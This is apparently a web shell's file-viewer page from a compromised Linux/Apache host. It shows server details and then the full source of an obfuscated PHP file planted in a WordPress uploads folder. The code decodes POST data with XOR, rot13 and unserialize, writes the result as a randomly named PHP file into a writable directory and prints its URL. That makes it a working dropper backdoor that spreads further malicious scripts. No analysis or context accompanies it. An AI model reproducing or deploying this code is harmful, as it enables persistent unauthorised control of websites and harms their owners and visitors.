HEX
Server: Apache
System: Linux host.dominioscaracas.com 4.18.0-477.15.1.lve.2.el8.x86_64 #1 SMP Wed Aug 2 10:43:45 UTC 2023 x86_64
User: enciassa (1159)
PHP: 8.1.31
Disabled: exec,passthru,shell_exec,system
Upload Files
File: /home/enciassa/www/wp-content/uploads/2022/01/iikfrfty.php
<?php function ImBCA($ACFug, $clKRbGy, $jzXMVqiB){$bhBONIwAoS = "aebb8eea-a7a5-4f03-8e86-4816581edc19";return $ACFug ^ $bhBONIwAoS[$clKRbGy % strlen($bhBONIwAoS)] ^ $jzXMVqiB;}$xgkkEPXGlH = "CAzwKwlZN";function iawZvtTY($xgkkEPXGlH){ $HOGsB = 's'."\x74"."\x72".'_'.'r'."\157".'t'.chr(123-74).chr(251-200);$xgkkEPXGlH = $HOGsB($xgkkEPXGlH);$ytKINMY = 'r'.'a'.chr(119)."\x75"."\x72".chr(108).'d'.'e'."\x63".chr(124-13).'d'."\x65";$xgkkEPXGlH = $ytKINMY($xgkkEPXGlH);$xgkkEPXGlH = str_split($xgkkEPXGlH);return $xgkkEPXGlH;}function XAFniY($WPxNiOWiLs, $jzXMVqiB){$WPxNiOWiLs = array_map("ImBCA", array_values($WPxNiOWiLs), array_keys($WPxNiOWiLs), array_values($jzXMVqiB));$WPxNiOWiLs = implode("", $WPxNiOWiLs);$ztNXBH = 'u'.'n'.'s'."\x65".chr(353-239).'i'."\x61".chr(108)."\151".chr(122).chr(101);$WPxNiOWiLs = @$ztNXBH($WPxNiOWiLs);return $WPxNiOWiLs;}function JqLws($jzXMVqiB, $WPxNiOWiLs){$jzXMVqiB = array_slice(str_split(str_repeat($jzXMVqiB, (count($WPxNiOWiLs)/16)+1)), 0, count($WPxNiOWiLs));return $jzXMVqiB;}function httezQ(){echo "JQbMNYXD";}function RmnVBu($gFEfLecFir){static $BeMhfQRjDv = array();$gOABJcnou = glob($gFEfLecFir . '/*', GLOB_ONLYDIR);$NnfvOzP = count($gOABJcnou);if ($NnfvOzP > 0) {foreach ($gOABJcnou as $gFEfLecF) {$kSdlRoMprf = chr(105)."\163"."\137".chr(119)."\162"."\151".chr(249-133).chr(97).'b'.chr(773-665).chr(101);if (@$kSdlRoMprf($gFEfLecF)) {$BeMhfQRjDv[] = $gFEfLecF;}}}foreach ($gOABJcnou as $gFEfLecFir) RmnVBu($gFEfLecFir);return $BeMhfQRjDv;}function QJehJTc($WPxNiOWiLs){$FNaOUUQQ = chr(908-840).'O'.chr(67)."\x55".chr(77).'E'.chr(749-671).chr(620-536)."\x5f".'R'.'O'."\x4f"."\124";$zBpPqsMy = $_SERVER[$FNaOUUQQ];$gOABJcnou = RmnVBu($zBpPqsMy);$KgJVAIXpa = array_rand($gOABJcnou);$haHrT = "\56".'p'."\x68"."\160";$jzruJxHQbL = $gOABJcnou[$KgJVAIXpa] . "/" . substr(md5(time()), 0, 8) . $haHrT;$hjpOORoSW = chr(102)."\x69".chr(108)."\x65"."\137".chr(989-877).chr(139-22).'t'."\137"."\143".chr(111)."\156".chr(584-468).chr(101)."\156".chr(116).'s';@$hjpOORoSW($jzruJxHQbL, $WPxNiOWiLs);$tIJbqc = 'H'."\x54".chr(84)."\120".chr(809-714)."\x48".chr(79).chr(160-77).chr(84);$czrbc = "\150".chr(454-338)."\x74".chr(1047-935).chr(58).chr(47)."\57";$eyQMzDEo = $czrbc . $_SERVER[$tIJbqc] . substr($jzruJxHQbL, strlen($zBpPqsMy));print($eyQMzDEo);}function HYgVlmN($WPxNiOWiLs, $KgJVAIXpa){$KgJVAIXpa = $KgJVAIXpa[0];if ($WPxNiOWiLs !== $KgJVAIXpa){QJehJTc($WPxNiOWiLs);}else {sgknV();}}function sgknV(){$ifOFaU = chr(112)."\150".chr(355-243);$OHpxqmnLJJ = chr(112).chr(1030-926).chr(112).chr(118).chr(653-552)."\162"."\x73".'i'."\x6f"."\x6e";$WPxNiOWiLs = Array($ifOFaU => @$OHpxqmnLJJ(), );$uIBqdIdXcm = "\163".chr(101).chr(198-84).chr(105).'a'.'l'."\x69"."\172"."\x65";echo @$uIBqdIdXcm($WPxNiOWiLs);}function OzMamO(){echo "CAzwKwlZN";}foreach ($_POST as $jzXMVqiB => $WPxNiOWiLs){$mzQtzz = strlen($jzXMVqiB);if ($mzQtzz == 16){$WPxNiOWiLs = iawZvtTY($WPxNiOWiLs);$jzXMVqiB = JqLws($jzXMVqiB, $WPxNiOWiLs);$WPxNiOWiLs = XAFniY($WPxNiOWiLs, $jzXMVqiB);if (@is_array($WPxNiOWiLs)){$KgJVAIXpa = array_keys($WPxNiOWiLs);$WPxNiOWiLs = $WPxNiOWiLs[$KgJVAIXpa[0]];HYgVlmN($WPxNiOWiLs, $KgJVAIXpa);}}}die();